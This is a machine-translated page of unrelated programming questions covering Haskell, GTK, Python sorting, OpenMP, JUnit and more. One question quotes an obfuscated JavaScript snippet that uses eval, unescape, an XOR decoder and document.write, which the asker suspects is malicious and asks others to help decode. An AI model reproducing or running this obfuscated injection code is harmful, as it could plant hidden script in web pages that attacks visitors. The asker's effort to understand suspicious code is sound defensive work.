我有一个自定义数据类型Foo = Foo{ a :: Int, b :: Int},我正在尝试使Foo成为自定义读取实例.我已经有了一个功能bar :: String -> Foo,我尝试这样做:
instance Read (Foo a b) where
read s = bar s
Run Code Online (Sandbox Code Playgroud)
但是当我将文件加载到GHCi中进行测试时,我收到以下错误: Fraction.hs:11:1: read' is not a (visible) method of class Read'
有人能告诉我问题是什么以及我如何实际实例化这种类型?
我在hpaned的左侧有一个树视图,但是当我尝试向左移动栏以使树视图小于其自动大小而不是调整树视图大小时,它将整个程序窗口向右扩展.有想法该怎么解决这个吗?
来源的相关部分如下:
对于hpaned.
self.vpan = gtk.VPaned()
self.hpan = gtk.HPaned()
self.vpan.show()
self.hpan.show()
self.vBox1.pack_end(self.hpan, True, True, 0)
self.hpan.pack2(self.vpan,True, True)
Run Code Online (Sandbox Code Playgroud)
而对于树视图.
self.ftree = gtk.TreeStore(str,str,str)
self.treefill(None, os.path.abspath(os.path.dirname(__file__)))
self.tree = gtk.TreeView(self.ftree)
self.tvcolumn = gtk.TreeViewColumn('Project')
self.tree.append_column(self.tvcolumn)
self.cellpb = gtk.CellRendererPixbuf()
self.celltxt = gtk.CellRendererText()
self.tvcolumn.pack_start(self.cellpb,False)
self.tvcolumn.pack_start(self.celltxt,True)
self.tvcolumn.set_attributes(self.cellpb, stock_id=0)
self.tvcolumn.set_attributes(self.celltxt, text=1)
self.tvcolumn.set_resizable(True)
self.hpan.pack1(self.tree,True,True)
self.tree.show()
Run Code Online (Sandbox Code Playgroud) 我有一个列表列表(不能是元组,因为我必须动态生成它)并且它被构造为一个int和一个float的列表列表如下所示:
[[1,1.0345],[2,5.098],[3,4.89],[2,5.97]]
Run Code Online (Sandbox Code Playgroud)
我想让它排序,但我只是设法获得内置排序功能,按列表的第一个元素排序或不做任何事情,但我需要按列表的第二个元素对它们进行排序,我不要我想实现自己的排序功能.所以我想要的一个例子是:
[[1,1.0345],[3,4.89],[2,5.098],[2,5.97]]
Run Code Online (Sandbox Code Playgroud)
有人可以告诉我如何获得其中一个内置排序功能来执行此操作吗?
我在大学里对并行处理有点说,现在我正试图改善它.我可以编写可以并行运行的代码然后启动线程,但之后我放松了对线程执行操作的控制.我想知道如何控制线程,例如将特定线程绑定到特定处理器核心.
我最感兴趣的是c ++,但我已经用Java编写了一些代码,所以这些答案也很受欢迎.
我正在使用open mp编写一个并行程序,我在其中生成一个随机浮点数矩阵,然后对其进行大量计算.我目前想要生成并行运行矩阵的步骤,但我遇到的问题是rand()函数并不意味着并发运行.我不想使用锁来在rand上提供互斥,因为这是在循环中唯一做的事情,它可能只是更有效地顺序运行它.有没有办法有效地并行执行此步骤?
这里是这个部分的当前代码(在rand上有out mutex);
#pragma omp parallel default(private)
{
int i= omp_get_thread_num();
for(int j=0; j<cols; j++)
matrix[i][j]= rand()%1000 + (float)(rand()%100)/(float)(rand()%1000);
}
Run Code Online (Sandbox Code Playgroud) 我注意到在Haskell和OCaml等函数式语言中,您可以使用列表执行2个操作.首先你可以做x:xsx是元素的地方ans xs是一个列表,结果是我们得到一个新的列表,其中x在常量时间附加到xs的开头.第二个是x++yx和y都是列表,结果是我们得到一个新的列表,其中y在线性时间内相对于x中元素的数量附加到x的末尾.现在我不是语言设计和编译器的专家,但在我看来,这很像一个链接列表的简单实现,其中一个指针指向第一个项目.如果我用C++这样的语言实现这个数据结构,我会发现添加一个指向最后一个元素的指针通常是微不足道的.在这种情况下,如果以这种方式实现这些语言(假设它们确实使用了所描述的链接列表),则向最后一项添加"指针"将使得将项添加到列表末尾并且允许模式匹配更有效.最后一个元素.
我的问题是这些数据结构是否真的实现为链表,如果是这样,为什么他们不添加对最后一个元素的引用?
我遇到过一些我认为是恶意的java脚本代码,但大多数是混淆的.我想知道是否有人可以帮助我弄清楚这段代码实际上做了什么.
eval(unescape('function n48ec61ae(s) {
var r = "";
var tmp = s.split("12113781");
s = unescape(tmp[0]);
k = unescape(tmp[1] + "608421");
for( var i = 0; i < s.length; i++) {
r += String.fromCharCode((parseInt(k.charAt(i%k.length))^s.charCodeAt(i))+-4);
}
return r;
}
'));
eval(unescape('document.write(n48ec61ae('') + 'GoqwpF@dmgiEFxipviJBkSbzbjxy,_WMD1yj{yoBFqa|g%ufxoA"go}swtip%-asvporpE$'EF3hachJAmulwisa~$^WYVF%<24-8(&,BQWOJ_G&0."J^ASHAP_NIRI 4. HWBR@QTAOKRCE$5!A@n~cqa PDVJH xw| $_RE@!oq~t:;5{s0ram`axsau2ows2ulaoizm6<21wnkdpicp5hx6vms@q042enA1?7+5=0oI $ZWTHPNWOBFj~ash#QLWIE.nsyaos5kl~& _PGI"ggtzq8ftmto. SDQHDT[I@^LI"6'#RLPKIZJIEONYF%= $SOPSXTOSLB/TS",LVMUKGTUAOVE.2&,VQWNTDXIF@;ntdvj~oxFHtsbrgpntKF3v{lvmukvEF3hpwpJ121137817396048' + unescape(''));'));
// -->
Run Code Online (Sandbox Code Playgroud)
正如提醒一样,请勿执行此代码.
有人说双精度浮点数的机器epsilon是2 ^ -53,而其他(更常见的)是2 ^ -52.我已经使用除了1之外的整数以及从上方和下方(在matlab中)进行估算来估计机器精度,并且已经获得两个值作为结果.为什么在实践中可以观察到这两个值?我认为应该总是在2 ^ -52左右产生一个epsilon.
以下循环在我的程序中创建了一个巨大的瓶颈.特别是因为记录可以超过500k.
records = [item for sublist in records for item in sublist] #flatten the list
for rec in records:
if len(rec) > 5:
tag = '%s.%s' %(rec[4], rec[5].strip())
if tag in mydict:
mydict[tag][0] += 1
mydict[tag][1].add(rec[6].strip())
else:
mydict[tag] = [1, set(rec[6].strip())]
Run Code Online (Sandbox Code Playgroud)
我没有看到一种方法,我可以用字典/列表理解来做到这一点,我不确定调用地图会对我有多大帮助.有没有办法优化这个循环?
编辑:字典包含有关程序中发生的某些操作的信息.rec[4]是包含操作的包,是操作rec[5]的名称.原始日志包含int而不是实际名称,因此当将日志文件读入列表时,将查找int并将其替换为操作名称.增量计数器计算执行操作的次数,并且该组包含操作的参数.我正在使用一个集合,因为我不希望重复参数.条带只是为了去除空白区域.这个白色空间的存在是不可预测的rec[6],但在rec[4]和中是一致的rec[5].
我正在学习Haskell,并且一直在编写一些非常简单的程序来练习.其中一个程序是我所贬低的程序:
import System.IO
main = do
putStrLn "Give me year: "
y <- getLine
let res = show . calcPop $ read y
putStrLn ("Population in " ++ y ++ " will be " ++ res)
pop :: Float
pop = 307357870.0
secInYear :: Float
secInYear = 365.0 * 24.0 * 60.0 * 60.0
bRate :: Float
bRate = secInYear / 7.0
dRate :: Float
dRate = secInYear / 13.0
iRate :: Float
iRate = secInYear / 35.0
calcPop :: …Run Code Online (Sandbox Code Playgroud) 我最近看到了许多类似的代码示例
1 << 20
Run Code Online (Sandbox Code Playgroud)
虽然我知道这个运算符可以用于整数,但我不确定它的作用,我尝试做的每一个谷歌搜索都会返回关于cout <<整数运算但没什么的东西.有人能告诉我这个运算符对整数的作用吗?
好了,在我们开始之前我要指出,我一直在使用Google,现在寻找一个答案,我的问题很长一段时间,一直没能找到合适的一个(关键字是棘手,因为我不断收到无关的帖子和网站作为结果).
现在,继续我有一个包含my main方法和许多其他函数的Java类.我想使用JUnit来测试这些函数,但我不能实例化一个主要的类,如果我只是尝试调用该函数我得到一个错误,说该函数在命名空间之外,即使两个文件都在同一个包中,我尝试导入文件时出错.
无论如何使用JUnit测试这些函数?
PS是的我知道你可以将它们放在一个新的类中,但我认为创建一个新类只是为了测试或者放入两个用于解析用户输入的函数并不是一件空头而且仍然存在问题测试主要功能本身(并且编写主要方法仅用于测试并不罕见).
所以这就是发生的事情.由于我不经常使用Java,所以我最终在类中创建了私有数据成员,但是将其视为C++程序中的全局变量.因此,我在main中初始化它们,并没有考虑构造函数,因此实例化类的问题.当那不起作用我尝试了.形式,但由于方法引用了私有数据成员,我会在没有实例化类的情况下得到错误.感谢那些注意到构造函数的人.
所以我刚开始学习haskell,我正在尝试使用这个if语句:
[if (((mod x 3) == 0) && ((mod x 5) == 0)) then "Fizzbuzz" else x | x <- [1..50]]
Run Code Online (Sandbox Code Playgroud)
但是当我在ghci中编译时,我收到以下错误:
No instance for (Integral [Char])
arising from a use of `mod' at baby.hs:22:19-25
Possible fix: add an instance declaration for (Integral [Char])
In the first argument of `(==)', namely `(mod x 3)'
In the first argument of `(&&)', namely `((mod x 3) == 0)'
In the expression: (((mod x 3) == 0) && ((mod x 5) == 0)) …Run Code Online (Sandbox Code Playgroud)